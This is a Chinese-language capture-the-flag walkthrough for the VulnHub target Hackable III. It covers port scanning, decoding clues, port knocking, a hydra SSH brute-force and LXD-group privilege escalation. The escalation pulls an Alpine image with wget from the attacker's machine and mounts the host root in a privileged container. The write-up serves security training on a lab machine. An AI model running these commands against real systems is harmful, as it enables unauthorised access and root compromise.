靶機描述
靶機地址:https://download.vulnhub.com/hackable/hackable3.ova
Description
Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.
資訊收集
nmap探測詳細埠資訊
nmap -sS -sV -A -p- 192.168.56.106
探測到了robots.txt
Web發現
檢視頁面原始碼發現
發現了登入地址login_page/login.html
,還有一個使用者名稱jubiscleudo
,還提示了埠敲門
埠敲門(埠碰撞)技術是一種透過在一組預先指定的關閉埠上產生連線請求,從外部開啟防火牆上的埠的方法。一旦收到正確的連線請求序列,防火牆規則就會被動態修改,以允許傳送連線請求的主機透過特定埠進行連線。
也就是說,攻擊者可能透過埠掃面來利用一些埠服務來發動攻擊,但是一些固定的埠又需要開放來滿足遠端維護需求,因此,我們可以使用埠碰撞技術來形成一個訪問控制。我們需要去碰撞一個特定的埠序列,才能夠開啟我們想要訪問的埠。
登入頁面
檢視下robots.txt
檢視/config
有一個1.txt
base64解碼得到:10000,應該是埠敲門的埠之一
目錄掃描
dirsearch -u http://192.168.56.106/
訪問一下http://192.168.56.106/backup/
發現一個密碼本
訪問css頁面,發現裡面有個2.txt檔案
Brainfuck解碼
訪問登入頁面http://192.168.56.106/login.php
,檢視原始碼
訪問一下3.jpg
圖片隱寫
看完了總結一下埠資訊:4444
、10000
、65535
SSH登入
按照檔名的順序進行埠敲門10000
、4444
、65535
knock 192.168.56.106 10000 4444 65535
nmap -A -p- 192.168.56.106
ssh開啟後,用我們之前發現的使用者名稱jubiscleudo,和發現的字典進行爆破
hydra -l jubiscleudo -P wordlist.txt 192.168.56.106 ssh
ssh登入
提權
檢視下系統內的檔案
逐個訪問目錄,在訪問/var/www/html下有隱藏檔案.back_config.php
,開啟後得到hackable_3
密碼
hackable_3/TrOLLED_3
切換使用者
透過id命令可以看到該使用者在lxd組中(lxd和docker一樣,是一種容器)
參考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
由於靶機不出網,需要本地下載Alpine映象
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
生成.tar.gz
檔案,開啟server服務,傳輸給目標機
python -m SimpleHTTPServer
目標機獲取映象,將其以映象的形式新增進LXD
wget http://192.168.75.150:8000/alpine-v3.16-x86_64-20220920_2354.tar.gz
lxc image import ./alpine-v3.16-x86_64-20220920_2354.tar.gz --alias myimage
lxc image list
#.tar.gz檔案是根據時間生成的,需要根據自己情況更改名稱,--alias後的名稱也可以自己定義
初始化Container,否則在載入容器時會顯示沒有儲存池
lxd init
//一路回車
執行如下命令,成功提權
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
獲取flag